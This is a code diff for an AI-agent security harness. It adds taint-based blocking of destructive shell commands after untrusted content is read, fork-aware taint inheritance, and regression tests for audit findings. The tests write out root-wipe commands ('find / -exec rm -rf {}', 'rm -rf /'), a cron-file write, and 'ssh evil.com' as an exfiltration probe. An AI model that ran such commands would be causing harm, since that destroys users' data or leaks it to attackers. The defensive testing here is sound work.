// OH-6.5-find-exec-placeholder: `{}` expands to every path under the
|
||||
// find root, so with a root-wipe root (`/`, `~`, `$HOME`, …) any
|
||||
// `-exec`/`-execdir`/`-ok`/`-okdir` payload running `rm` with
|
||||
// recursive+force flags over `{}` is a root wipe: destructive.
|
||||
// Scoped roots stay write-class (`segmentIsWrite`).
|
||||
if (findHasWipeRoot(args)) {
|
||||
for (const payload of findExecPayloads(args)) {
|
||||
if (findExecPayloadIsPlaceholderWipe(payload)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@ import { getSessionParent } from "../interceptors/session-interceptors.js";
|
||||
import { shellNamedFileTargets } from "./permission-guard.js";
|
||||
import {
|
||||
commandBasename,
|
||||
isDestructiveShellCommand,
|
||||
parseCommandSegments,
|
||||
shellArgvFileTargets,
|
||||
stripLeadingWrapperTokens,
|
||||
@@ -159,9 +160,9 @@ export function clearTaintState(sessionId?: string): void {
|
||||
|
||||
/**
|
||||
* Resolve the nearest taint records for `sessionId`, walking up the
|
||||
* `recordSessionParentLink` fork/subagent/compaction chain so child sessions
|
||||
* inherit their parent's taint (fail-closed: a fork of a tainted session is
|
||||
* tainted).
|
||||
* `recordSessionParentLink`/`recordSessionForkLink` subagent/fork/compaction
|
||||
* chain so child sessions inherit their parent's taint (fail-closed: a fork
|
||||
* of a tainted session is tainted; see OH-6.6-taint-fork-gap).
|
||||
*/
|
||||
function resolveTaintChain(sessionId: string): TaintRecord[] {
|
||||
const visited = new Set<string>();
|
||||
@@ -245,6 +246,17 @@ export function evaluateTaintGuard(
|
||||
const latestSource =
|
||||
taints[taints.length - 1]?.sourceTool ?? "untrusted-source";
|
||||
|
||||
// OH-6.5-find-exec-placeholder: while tainted, a destructive shell command
|
||||
// (`find / -exec rm -rf {} \;`, `rm -rf /`, …) denies fail-closed at the
|
||||
// taint layer too. The permission layer denies it for every role first,
|
||||
// but taint must never read as `allow` for a wipe idiom.
|
||||
if (actionType === "shell" && isDestructiveShellCommand(commandOrPath)) {
|
||||
return denyTaint(
|
||||
"TAINT-DESTRUCTIVE-1",
|
||||
`Blocked destructive shell command "${commandOrPath}" while session is tainted by untrusted tool "${latestSource}".`,
|
||||
);
|
||||
}
|
||||
|
||||
if (actionType === "file") {
|
||||
if (matchesTaintSensitivePath(commandOrPath)) {
|
||||
return denyTaint(
|
||||
|
||||
@@ -56,6 +56,7 @@ import {
|
||||
calibrateSystemPromptInPlace,
|
||||
decontaminateCompactionEventInPlace,
|
||||
handleSessionRetryInPlace,
|
||||
linkForkLineageFromEventMetadata,
|
||||
recordSessionParentLink,
|
||||
type SessionRetryEvent,
|
||||
} from "../interceptors/session-interceptors.js";
|
||||
@@ -686,6 +687,12 @@ export function wireOpenCodeV2PromiseContext(params: {
|
||||
"execute.after",
|
||||
async (event: OpenCodeV2ToolAfterEvent): Promise<void> => {
|
||||
const sessionId = event.sessionID || "default";
|
||||
// OH-6.6-taint-fork-gap: resolve fork lineage via session metadata on
|
||||
// every tool completion. Host-level forks are invisible to the
|
||||
// promise-plugin hook surface, so without this the forked child
|
||||
// would shed its parent's taint on subsequent `evaluateTaintGuard`
|
||||
// calls. Fail-closed: unparseable events link nothing.
|
||||
linkForkLineageFromEventMetadata(sessionId, event);
|
||||
const toolName = (event.tool || "").toLowerCase();
|
||||
const failed = didToolExecutionFail(event);
|
||||
const ok = !failed;
|
||||
|
||||
+24
-7
@@ -274,19 +274,36 @@ export function resolveHarnessOptions(
|
||||
"opencode-harness: rootDir must be a non-empty string (fail-closed)",
|
||||
);
|
||||
}
|
||||
const guardConfig: GuardPolicyConfig =
|
||||
settings.guardConfig !== undefined
|
||||
? settings.guardConfig
|
||||
: defaultGuardConfig();
|
||||
const customGuardConfig =
|
||||
settings.guardConfig !== undefined ? settings.guardConfig : undefined;
|
||||
if (
|
||||
guardConfig === null ||
|
||||
typeof guardConfig !== "object" ||
|
||||
Array.isArray(guardConfig.lockedContractGlobs) === false
|
||||
customGuardConfig !== undefined &&
|
||||
(customGuardConfig === null ||
|
||||
typeof customGuardConfig !== "object" ||
|
||||
Array.isArray(customGuardConfig.lockedContractGlobs) === false)
|
||||
) {
|
||||
throw new Error(
|
||||
"opencode-harness: guardConfig must carry a lockedContractGlobs array (fail-closed)",
|
||||
);
|
||||
}
|
||||
// OH-6.5-guard-root-unwired: a custom guardConfig without workspaceRoot
|
||||
// used to fall back to process.cwd() inside resolveGuardWorkspaceRoot,
|
||||
// over-blocking legitimate writes when rootDir !== cwd. Default the root
|
||||
// to rootDir; an explicit non-blank workspaceRoot wins. A blank value
|
||||
// normalizes back to rootDir so it cannot silently reintroduce the cwd
|
||||
// fallback (fail-closed toward the operator's stated root).
|
||||
let guardConfig: GuardPolicyConfig;
|
||||
if (customGuardConfig === undefined) {
|
||||
guardConfig = defaultGuardConfig();
|
||||
} else {
|
||||
guardConfig = { workspaceRoot: rootDir, ...customGuardConfig };
|
||||
if (
|
||||
typeof guardConfig.workspaceRoot !== "string" ||
|
||||
guardConfig.workspaceRoot.trim() === ""
|
||||
) {
|
||||
guardConfig.workspaceRoot = rootDir;
|
||||
}
|
||||
}
|
||||
const budget =
|
||||
settings.contextBudgetTokens !== undefined
|
||||
? settings.contextBudgetTokens
|
||||
|
||||
@@ -144,6 +144,101 @@ export function decontaminateCompactionEventInPlace(event: {
|
||||
|
||||
const SESSION_PARENT_MAP = new Map<string, string>();
|
||||
|
||||
/**
|
||||
* OH-6.6-taint-fork-gap: host-level session forks (`SessionEvent.Forked` →
|
||||
* `projectFork`) copy tainted history into the child without emitting a
|
||||
* promise-plugin hook the harness can observe, so no parent link is ever
|
||||
* recorded for forks through the `recordSessionParentLink` call sites
|
||||
* (subagent completion, affinity headers). This registry carries fork
|
||||
* lineage explicitly: hosts and tests record it via
|
||||
* `recordSessionForkLink` (or implicitly via
|
||||
* `linkForkLineageFromEventMetadata`), and both lineage resolution
|
||||
* (`getSessionParent`) and taint inheritance consult it fail-closed — a
|
||||
* fork of a tainted session is tainted.
|
||||
*/
|
||||
const SESSION_FORK_MAP = new Map<string, string>();
|
||||
|
||||
export function recordSessionForkLink(
|
||||
childSessionID: string,
|
||||
parentSessionID: string,
|
||||
): void {
|
||||
if (
|
||||
!childSessionID ||
|
||||
!parentSessionID ||
|
||||
childSessionID === parentSessionID
|
||||
) {
|
||||
return;
|
||||
}
|
||||
SESSION_FORK_MAP.set(childSessionID, parentSessionID);
|
||||
}
|
||||
|
||||
export function getSessionForkSource(sessionId: string): string | undefined {
|
||||
return SESSION_FORK_MAP.get(sessionId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Fork lineage metadata keys observed on child-session tool events. Checked
|
||||
* on live tool events because the fork projection itself is invisible to
|
||||
* the promise-plugin hook surface (fail-closed: only non-empty string
|
||||
* values distinct from the child session id are honored).
|
||||
*/
|
||||
const FORK_SOURCE_METADATA_KEYS = [
|
||||
"parentSessionID",
|
||||
"parentSessionId",
|
||||
"parentID",
|
||||
"forkOf",
|
||||
"fork_source",
|
||||
"forkSource",
|
||||
"sourceSessionID",
|
||||
"sourceSessionId",
|
||||
"forkedFrom",
|
||||
"forkParentSessionID",
|
||||
] as const;
|
||||
|
||||
/**
|
||||
* OH-6.6-taint-fork-gap: resolve fork lineage via session metadata on live
|
||||
* tool events. When a forked child session carries its source session id
|
||||
* under a known metadata key (top-level, `input`, or `metadata`), record
|
||||
* the fork link so subsequent `evaluateTaintGuard` calls inherit taint.
|
||||
* Returns the linked parent session id, or `undefined` when nothing
|
||||
* linkable is present. Never throws (fail-closed: unparseable events link
|
||||
* nothing).
|
||||
*/
|
||||
export function linkForkLineageFromEventMetadata(
|
||||
sessionId: string,
|
||||
event: unknown,
|
||||
): string | undefined {
|
||||
try {
|
||||
if (!sessionId || event === null || typeof event !== "object") {
|
||||
return undefined;
|
||||
}
|
||||
const record = event as Record<string, unknown>;
|
||||
const holders: Array<Record<string, unknown>> = [record];
|
||||
for (const holderKey of ["input", "metadata"] as const) {
|
||||
const holder = record[holderKey];
|
||||
if (holder !== null && typeof holder === "object") {
|
||||
holders.push(holder as Record<string, unknown>);
|
||||
}
|
||||
}
|
||||
for (const holder of holders) {
|
||||
for (const key of FORK_SOURCE_METADATA_KEYS) {
|
||||
const candidate = holder[key];
|
||||
if (
|
||||
typeof candidate === "string" &&
|
||||
candidate !== "" &&
|
||||
candidate !== sessionId
|
||||
) {
|
||||
recordSessionForkLink(sessionId, candidate);
|
||||
return candidate;
|
||||
}
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
export function recordSessionParentLink(
|
||||
childSessionID: string,
|
||||
parentSessionID: string,
|
||||
@@ -172,10 +267,11 @@ export function resolveRootSessionAffinity(sessionID: string): string {
|
||||
|
||||
export function clearSessionLineage(): void {
|
||||
SESSION_PARENT_MAP.clear();
|
||||
SESSION_FORK_MAP.clear();
|
||||
}
|
||||
|
||||
export function getSessionParent(sessionId: string): string | undefined {
|
||||
return SESSION_PARENT_MAP.get(sessionId);
|
||||
return SESSION_PARENT_MAP.get(sessionId) ?? SESSION_FORK_MAP.get(sessionId);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+1
-1
@@ -2,5 +2,5 @@
|
||||
* Single source of truth for the harness version. Must equal
|
||||
* `package.json#version` (asserted by `test/bootstrap.test.ts`).
|
||||
*/
|
||||
export const HARNESS_RELEASE_VERSION = "1.0.10";
|
||||
export const HARNESS_RELEASE_VERSION = "1.0.11";
|
||||
export const HARNESS_VERSION = HARNESS_RELEASE_VERSION;
|
||||
@@ -1,7 +1,9 @@
|
||||
/**
|
||||
* `test/audit-20261018-remediation.test.ts` — Regression suite for every
|
||||
* finding in `AUDIT_REPORT_FINDINGS.md` (audit date 2026-10-18, package
|
||||
* `1.0.9` → `1.0.10` remediation branch).
|
||||
* finding in `AUDIT_REPORT_FINDINGS.md` (audit date 2026-10-18; follow-up
|
||||
* remediation round: `1.0.10` → `1.0.11` for the find-exec placeholder,
|
||||
* guard-root, lesson-per-read, taint-fork, and post-formatter built-in-leg
|
||||
* findings).
|
||||
*
|
||||
* Each `describe` block names the finding ID it pins so a reintroduced
|
||||
* defect goes RED under the exact finding key:
|
||||
@@ -12,7 +14,7 @@
|
||||
* - OH-6.7-edit-breaker-unreachable (P1, unit + adapter pipeline)
|
||||
* - OH-8.2-install-story (P2), OH-scope-loc-budget (P2)
|
||||
* - OH-4.2-post-formatter-receipt (P2, built-in edit receipt vs disk)
|
||||
* - OH-1.3-stale-npm-latest (P0, version bump to 1.0.10)
|
||||
* - OH-1.3-stale-npm-latest (P0, version bump to 1.0.11)
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, test } from "bun:test";
|
||||
import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
||||
@@ -21,13 +23,20 @@ import { join, resolve } from "node:path";
|
||||
import { spawnSync } from "node:child_process";
|
||||
import {
|
||||
clearAllSessionAttempts,
|
||||
clearPendingLessonProposals,
|
||||
clearSessionLineage,
|
||||
defaultGuardConfig,
|
||||
evaluateBoardGuard,
|
||||
evaluateSession,
|
||||
getPendingLessonProposals,
|
||||
getSessionForkSource,
|
||||
linkForkLineageFromEventMetadata,
|
||||
recordAndEvaluateCircuitBreaker,
|
||||
recordSessionForkLink,
|
||||
recordToolAttempt,
|
||||
registerContextBudgetHook,
|
||||
resetSessionAttempts,
|
||||
resolveHarnessOptions,
|
||||
shellAllFileTargets,
|
||||
shellTargetEscapesWorkspace,
|
||||
toTrippedDirective,
|
||||
@@ -36,6 +45,7 @@ import {
|
||||
} from "../src/index";
|
||||
import {
|
||||
classifyShellCommand,
|
||||
findExecPayloads,
|
||||
isDestructiveShellCommand,
|
||||
shellArgvFileTargets,
|
||||
} from "../src/guards/shell-parse";
|
||||
@@ -59,6 +69,8 @@ function makeTempDir(prefix: string): string {
|
||||
beforeEach(() => {
|
||||
clearAllSessionAttempts();
|
||||
clearTaintState();
|
||||
clearPendingLessonProposals();
|
||||
clearSessionLineage();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
@@ -67,6 +79,8 @@ afterEach(() => {
|
||||
}
|
||||
clearAllSessionAttempts();
|
||||
clearTaintState();
|
||||
clearPendingLessonProposals();
|
||||
clearSessionLineage();
|
||||
});
|
||||
|
||||
describe("OH-6.5-wrapper-laundering: every prefix wrapper denies rm -rf /", () => {
|
||||
@@ -678,11 +692,12 @@ describe("OH-4.2-post-formatter-receipt: built-in edit receipt reflects post-for
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-1.3-stale-npm-latest: release carries the P0 fixes at 1.0.10", () => {
|
||||
describe("OH-1.3-stale-npm-latest: release carries the P0 fixes at 1.0.11", () => {
|
||||
test("package.json, src/version.ts, and the entrypoint agree past the stale 1.0.9", () => {
|
||||
expect(HARNESS_RELEASE_VERSION).toBe(pkgJson.version);
|
||||
expect(HARNESS_RELEASE_VERSION).toBe("1.0.10");
|
||||
expect(HARNESS_RELEASE_VERSION).toBe("1.0.11");
|
||||
expect(HARNESS_RELEASE_VERSION).not.toBe("1.0.9");
|
||||
expect(HARNESS_RELEASE_VERSION).not.toBe("1.0.10");
|
||||
});
|
||||
|
||||
test("README title tracks the release version", () => {
|
||||
@@ -690,3 +705,394 @@ describe("OH-1.3-stale-npm-latest: release carries the P0 fixes at 1.0.10", () =
|
||||
expect(readme).toContain(`(\`v${pkgJson.version}\`)`);
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-6.5-find-exec-placeholder: {} placeholder wipe laundering", () => {
|
||||
test("findExecPayloads unwraps -exec/-execdir/-ok/-okdir payloads verbatim", () => {
|
||||
expect(findExecPayloads(["/", "-exec", "rm", "-rf", "{}", ";"])).toEqual([
|
||||
"rm -rf {}",
|
||||
]);
|
||||
expect(findExecPayloads(["/", "-execdir", "rm", "-rf", "{}", "+"])).toEqual([
|
||||
"rm -rf {}",
|
||||
]);
|
||||
expect(findExecPayloads(["/", "-ok", "rm", "-rf", "{}", ";"])).toEqual([
|
||||
"rm -rf {}",
|
||||
]);
|
||||
expect(findExecPayloads(["/", "-okdir", "rm", "-rf", "{}", ";"])).toEqual([
|
||||
"rm -rf {}",
|
||||
]);
|
||||
});
|
||||
|
||||
test("terminator x starter matrix over a wipe root is destructive", () => {
|
||||
for (const starter of ["-exec", "-execdir", "-ok", "-okdir"]) {
|
||||
for (const terminator of ["\\;", "+"]) {
|
||||
const command = `find / ${starter} rm -rf {} ${terminator}`;
|
||||
expect(classifyShellCommand(command).class).toBe("destructive");
|
||||
expect(isDestructiveShellCommand(command)).toBe(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test("wipe roots deny; scoped roots stay write-class", () => {
|
||||
for (const root of ["/", "~", "$HOME", "${HOME}", "/*"]) {
|
||||
const command = `find ${root} -exec rm -rf {} \\;`;
|
||||
expect(isDestructiveShellCommand(command)).toBe(true);
|
||||
}
|
||||
for (const command of [
|
||||
"find /tmp -name x -exec rm -rf {} \\;",
|
||||
"find /tmp -name x -exec rm -rf {} +",
|
||||
"find . -exec rm -rf {} \\;",
|
||||
"find /tmp/x -okdir rm -rf {} \\;",
|
||||
]) {
|
||||
expect(classifyShellCommand(command).class).toBe("write");
|
||||
expect(isDestructiveShellCommand(command)).toBe(false);
|
||||
}
|
||||
});
|
||||
|
||||
test("builder/architect/director/qa verdicts deny with rule-1-destructive", () => {
|
||||
const command = "find / -exec rm -rf {} \\;";
|
||||
for (const role of [
|
||||
"builder",
|
||||
"architect",
|
||||
"director",
|
||||
"manager",
|
||||
"qa-adversary",
|
||||
"agency-qa",
|
||||
]) {
|
||||
const verdict = evaluateBoardGuard({ role, tool: "shell", command });
|
||||
expect(verdict.allowed).toBe(false);
|
||||
expect(verdict.rule).toBe("rule-1-destructive");
|
||||
}
|
||||
});
|
||||
|
||||
test("preserved taxonomy: scoped delete allows; literal wipe payload still denies", () => {
|
||||
expect(classifyShellCommand("find /tmp -name x -delete").class).toBe("write");
|
||||
expect(
|
||||
evaluateBoardGuard({
|
||||
role: "builder",
|
||||
tool: "shell",
|
||||
command: "find /tmp -name x -delete",
|
||||
}).allowed,
|
||||
).toBe(true);
|
||||
expect(isDestructiveShellCommand("find /tmp -exec rm -rf / \\;")).toBe(true);
|
||||
const scoped = "find /tmp -name x -exec rm -rf {} \\;";
|
||||
expect(
|
||||
evaluateBoardGuard({ role: "builder", tool: "shell", command: scoped }).allowed,
|
||||
).toBe(true);
|
||||
expect(
|
||||
evaluateBoardGuard({ role: "architect", tool: "shell", command: scoped })
|
||||
.allowed,
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("tainted session: placeholder wipe denies at both layers (allow-to-deny)", () => {
|
||||
const session = `oh65-find-taint-${Date.now()}`;
|
||||
const command = "find / -exec rm -rf {} \\;";
|
||||
recordUntrustedContentTaint(session, "webfetch");
|
||||
const tainted = evaluateTaintGuard(session, command, "shell");
|
||||
expect(tainted.action).toBe("deny");
|
||||
expect(tainted.ruleId).toBe("TAINT-DESTRUCTIVE-1");
|
||||
expect(evaluateTaintGuard(session, "rm -rf /", "shell").action).toBe("deny");
|
||||
expect(
|
||||
evaluateBoardGuard({ role: "builder", tool: "shell", command }).allowed,
|
||||
).toBe(false);
|
||||
clearTaintState(session);
|
||||
expect(evaluateTaintGuard(session, command, "shell").action).toBe("allow");
|
||||
expect(
|
||||
evaluateTaintGuard(session, "find /tmp -name x -exec rm -rf {} \\;", "shell")
|
||||
.action,
|
||||
).toBe("allow");
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-6.5-guard-root-unwired: custom guardConfig defaults workspaceRoot to rootDir", () => {
|
||||
test("omitted workspaceRoot defaults to rootDir, not process.cwd()", () => {
|
||||
const resolved = resolveHarnessOptions({
|
||||
rootDir: "/repo/proj",
|
||||
guardConfig: { lockedContractGlobs: ["**/contracts/**"] },
|
||||
});
|
||||
expect(resolved.rootDir).toBe("/repo/proj");
|
||||
expect(resolved.guardConfig.workspaceRoot).toBe("/repo/proj");
|
||||
});
|
||||
|
||||
test("explicit workspaceRoot wins over rootDir", () => {
|
||||
const resolved = resolveHarnessOptions({
|
||||
rootDir: "/repo/proj",
|
||||
guardConfig: { lockedContractGlobs: [], workspaceRoot: "/explicit/root" },
|
||||
});
|
||||
expect(resolved.guardConfig.workspaceRoot).toBe("/explicit/root");
|
||||
});
|
||||
|
||||
test("blank workspaceRoot normalizes back to rootDir (fail-closed)", () => {
|
||||
const resolved = resolveHarnessOptions({
|
||||
rootDir: "/repo/proj",
|
||||
guardConfig: { lockedContractGlobs: [], workspaceRoot: " " },
|
||||
});
|
||||
expect(resolved.guardConfig.workspaceRoot).toBe("/repo/proj");
|
||||
});
|
||||
|
||||
test("workspace-relative writes allow under the defaulted root; escapes still deny", () => {
|
||||
const root = makeTempDir("oh65-root-");
|
||||
const resolved = resolveHarnessOptions({
|
||||
rootDir: root,
|
||||
guardConfig: { lockedContractGlobs: [] },
|
||||
});
|
||||
expect(
|
||||
evaluateBoardGuard(
|
||||
{ role: "builder", tool: "shell", command: "echo hi > out.txt" },
|
||||
resolved.guardConfig,
|
||||
).allowed,
|
||||
).toBe(true);
|
||||
const escape = evaluateBoardGuard(
|
||||
{ role: "builder", tool: "shell", command: "echo hi > /etc/cron.d/evil" },
|
||||
resolved.guardConfig,
|
||||
);
|
||||
expect(escape.allowed).toBe(false);
|
||||
expect(escape.rule).toBe("rule-0-shell-target-containment");
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-6.7-lesson-per-read: exactly one pending proposal per doom-loop", () => {
|
||||
test("pipeline: read-ok, edit-fail, read-ok, edit-fail, good-edit-ok yields 1 lesson on the edit", async () => {
|
||||
const root = makeTempDir("oh67-lesson-");
|
||||
const target = join(root, "loop.ts");
|
||||
writeFileSync(target, "export const x = 1;\n", "utf8");
|
||||
const host = makeAdapterHost(root);
|
||||
wireOpenCodeV2PromiseContext({
|
||||
ctx: host.ctx,
|
||||
workspaceRoot: root,
|
||||
tools: {},
|
||||
evaluatePermission: (req) => evaluateBoardGuard(req, defaultGuardConfig()),
|
||||
recordCircuitBreaker: (ev) => toTrippedDirective(recordAndEvaluateCircuitBreaker(ev)),
|
||||
runContextBudget: () => undefined,
|
||||
});
|
||||
const after = host.toolAfter[0];
|
||||
const sessionId = `oh67-lesson-${Date.now()}`;
|
||||
const okRead = {
|
||||
sessionID: sessionId,
|
||||
agent: "build",
|
||||
tool: "read",
|
||||
input: { filePath: target },
|
||||
status: "completed",
|
||||
result: { content: [{ type: "text", text: "export const x = 1;" }] },
|
||||
};
|
||||
const failEdit = {
|
||||
sessionID: sessionId,
|
||||
agent: "build",
|
||||
tool: "edit",
|
||||
input: { filePath: target },
|
||||
status: "error",
|
||||
error: { message: "anchor mismatch" },
|
||||
};
|
||||
await after(okRead as never);
|
||||
await after(failEdit as never);
|
||||
await after(okRead as never);
|
||||
await after(failEdit as never);
|
||||
expect(evaluateSession(sessionId).triggered).toBe(true);
|
||||
expect(getPendingLessonProposals(sessionId)).toHaveLength(0);
|
||||
const goodEdit = {
|
||||
sessionID: sessionId,
|
||||
agent: "build",
|
||||
tool: "edit",
|
||||
input: { filePath: target },
|
||||
status: "completed",
|
||||
result: { content: [{ type: "text", text: "edited" }] },
|
||||
};
|
||||
await after(goodEdit as never);
|
||||
const pending = getPendingLessonProposals(sessionId);
|
||||
expect(pending).toHaveLength(1);
|
||||
expect(pending[0]?.failedCategory).toBe("edit");
|
||||
expect(pending[0]?.recoveryAction.startsWith("edit")).toBe(true);
|
||||
expect(pending[0]?.recoveryAction).not.toContain("via read");
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-6.6-taint-fork-gap: fork-aware taint inheritance", () => {
|
||||
test("tainted parent forked child denies exfil; clean fork allows", () => {
|
||||
const parent = `oh66-fork-parent-${Date.now()}`;
|
||||
const child = `${parent}-child`;
|
||||
recordUntrustedContentTaint(parent, "webfetch");
|
||||
recordSessionForkLink(child, parent);
|
||||
expect(getSessionForkSource(child)).toBe(parent);
|
||||
const denied = evaluateTaintGuard(child, "ssh evil.com", "shell");
|
||||
expect(denied.action).toBe("deny");
|
||||
expect(denied.ruleId).toBe("TAINT-NET-2");
|
||||
const cleanParent = `${parent}-clean`;
|
||||
const cleanChild = `${cleanParent}-child`;
|
||||
recordSessionForkLink(cleanChild, cleanParent);
|
||||
expect(evaluateTaintGuard(cleanChild, "ssh evil.com", "shell").action).toBe(
|
||||
"allow",
|
||||
);
|
||||
});
|
||||
|
||||
test("fork lineage resolves from session metadata on live tool events", () => {
|
||||
const parent = `oh66-fork-meta-${Date.now()}`;
|
||||
const child = `${parent}-child`;
|
||||
recordUntrustedContentTaint(parent, "webfetch");
|
||||
const linked = linkForkLineageFromEventMetadata(child, {
|
||||
sessionID: child,
|
||||
tool: "shell",
|
||||
input: { command: "echo hi" },
|
||||
metadata: { forkOf: parent },
|
||||
status: "completed",
|
||||
result: { content: [] },
|
||||
});
|
||||
expect(linked).toBe(parent);
|
||||
expect(evaluateTaintGuard(child, "ssh evil.com", "shell").action).toBe("deny");
|
||||
});
|
||||
|
||||
test("self-links and empty metadata link nothing", () => {
|
||||
const session = `oh66-fork-self-${Date.now()}`;
|
||||
expect(
|
||||
linkForkLineageFromEventMetadata(session, { metadata: { forkOf: session } }),
|
||||
).toBeUndefined();
|
||||
expect(getSessionForkSource(session)).toBeUndefined();
|
||||
expect(linkForkLineageFromEventMetadata(session, { input: {} })).toBeUndefined();
|
||||
expect(linkForkLineageFromEventMetadata(session, null)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("OH-4.2-post-formatter-receipt: built-in edit stand-in proves post-format ordering", () => {
|
||||
/**
|
||||
* Deterministic byte-transforming stand-in for upstream `Formatter.file`
|
||||
* (`packages/core/src/formatter.ts` in `anomalyco/opencode`): rewrites the
|
||||
* file on disk AFTER the raw edited bytes land and BEFORE `execute.after`
|
||||
* fires — the exact ordering the production `<post-edit-anchors>` receipt
|
||||
* depends on. It performs a real code reflow (trim, whitespace collapse,
|
||||
* paren/spacing normalization, brace-depth indentation), not a copy: the
|
||||
* post-format bytes differ from the raw edited bytes, so a receipt
|
||||
* computed from stale pre-format bytes cannot match.
|
||||
*/
|
||||
function reflowTypeScriptStandalone(filePath: string): string {
|
||||
const raw = readFileSync(filePath, "utf8");
|
||||
const out: string[] = [];
|
||||
let depth = 0;
|
||||
for (const line of raw.split("\n")) {
|
||||
const trimmed = line
|
||||
.trim()
|
||||
.replace(/[ \t]+/g, " ")
|
||||
.replace(/\(\s+/g, "(")
|
||||
.replace(/\s+\)/g, ")")
|
||||
.replace(/:(?=\S)/g, ": ")
|
||||
.replace(/,(?=\S)/g, ", ")
|
||||
.replace(/\)\s*\{/g, ") {");
|
||||
if (trimmed === "") {
|
||||
continue;
|
||||
}
|
||||
if (/^\}/.test(trimmed)) {
|
||||
depth = Math.max(0, depth - 1);
|
||||
}
|
||||
out.push(`${" ".repeat(depth)}${trimmed}`);
|
||||
if (/\{$/.test(trimmed)) {
|
||||
depth += 1;
|
||||
}
|
||||
}
|
||||
const formatted = `${out.join("\n")}\n`;
|
||||
writeFileSync(filePath, formatted, "utf8");
|
||||
return formatted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Built-in `edit` stand-in: drives the REAL adapter hooks in true upstream
|
||||
* order — `execute.before` (input repair), disk write of the raw edited
|
||||
* bytes (like `FileMutation.write`), the on-disk format pass (like
|
||||
* `Formatter.file`), a disk re-read (like `FileMutation.syncTextBom`),
|
||||
* then `execute.after` (receipt computed from the re-read bytes).
|
||||
*/
|
||||
async function runBuiltInEditStandIn(params: {
|
||||
before: Array<(ev: never) => void | Promise<void>>;
|
||||
after: Array<(ev: never) => void | Promise<void>>;
|
||||
sessionId: string;
|
||||
filePath: string;
|
||||
oldString: string;
|
||||
newString: string;
|
||||
}): Promise<{ formattedOnDisk: string; outputText: string }> {
|
||||
const { before, after, sessionId, filePath, oldString, newString } = params;
|
||||
const input = { filePath, oldString, newString };
|
||||
for (const hook of before) {
|
||||
await hook({
|
||||
sessionID: sessionId,
|
||||
agent: "build",
|
||||
tool: "edit",
|
||||
input,
|
||||
} as never);
|
||||
}
|
||||
const current = readFileSync(filePath, "utf8");
|
||||
if (!current.includes(oldString)) {
|
||||
throw new Error(`stand-in: oldString not found in ${filePath} (fail-closed)`);
|
||||
}
|
||||
if (current.indexOf(oldString) !== current.lastIndexOf(oldString)) {
|
||||
throw new Error(
|
||||
`stand-in: oldString is ambiguous in ${filePath} (fail-closed)`,
|
||||
);
|
||||
}
|
||||
writeFileSync(filePath, current.replace(oldString, newString), "utf8");
|
||||
const formattedOnDisk = reflowTypeScriptStandalone(filePath);
|
||||
const completed = {
|
||||
sessionID: sessionId,
|
||||
agent: "build",
|
||||
tool: "edit",
|
||||
input,
|
||||
status: "completed",
|
||||
result: { content: [{ type: "text", text: "Edited" }] },
|
||||
};
|
||||
for (const hook of after) {
|
||||
await hook(completed as never);
|
||||
}
|
||||
const outputText = (completed.result.content as Array<{ text: string }>)
|
||||
.map((c) => c.text)
|
||||
.join("\n");
|
||||
return { formattedOnDisk, outputText };
|
||||
}
|
||||
|
||||
test("unformatted TS edit through the built-in sequence receipts post-format bytes only", async () => {
|
||||
const root = makeTempDir("oh42-builtin-");
|
||||
const target = join(root, "widget.ts");
|
||||
const beforeContent = [
|
||||
"export function renderCard( title:string ) {",
|
||||
"return title;",
|
||||
"}",
|
||||
].join("\n");
|
||||
writeFileSync(target, `${beforeContent}\n`, "utf8");
|
||||
const host = makeAdapterHost(root);
|
||||
wireOpenCodeV2PromiseContext({
|
||||
ctx: host.ctx,
|
||||
workspaceRoot: root,
|
||||
tools: {},
|
||||
evaluatePermission: (req) => evaluateBoardGuard(req, defaultGuardConfig()),
|
||||
recordCircuitBreaker: (ev) => toTrippedDirective(recordAndEvaluateCircuitBreaker(ev)),
|
||||
runContextBudget: () => undefined,
|
||||
});
|
||||
const sessionId = `oh42-builtin-${Date.now()}`;
|
||||
const { formattedOnDisk, outputText } = await runBuiltInEditStandIn({
|
||||
before: host.toolBefore,
|
||||
after: host.toolAfter,
|
||||
sessionId,
|
||||
filePath: target,
|
||||
oldString: "return title;",
|
||||
newString: "return title.trim();",
|
||||
});
|
||||
// The format pass genuinely rewrote the bytes on disk.
|
||||
const expectedFormatted = [
|
||||
"export function renderCard(title: string) {",
|
||||
" return title.trim();",
|
||||
"}",
|
||||
].join("\n");
|
||||
expect(formattedOnDisk).toBe(`${expectedFormatted}\n`);
|
||||
expect(readFileSync(target, "utf8")).toBe(`${expectedFormatted}\n`);
|
||||
// The receipt reflects the post-format bytes: every formatted line hash
|
||||
// is present, and no stale pre-format line hash leaks in (ordering proof:
|
||||
// a receipt computed from bytes read before formatting would carry the
|
||||
// unformatted line hashes instead).
|
||||
expect(outputText).toContain("<post-edit-anchors");
|
||||
for (const line of expectedFormatted.split("\n")) {
|
||||
expect(outputText).toContain(`${computeLineHash(line)}| ${line}`);
|
||||
}
|
||||
for (const stale of [
|
||||
"export function renderCard( title:string ) {",
|
||||
"return title;",
|
||||
"return title.trim();",
|
||||
]) {
|
||||
expect(outputText).not.toContain(`${computeLineHash(stale)}| ${stale}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
Reference in new issue
Block a user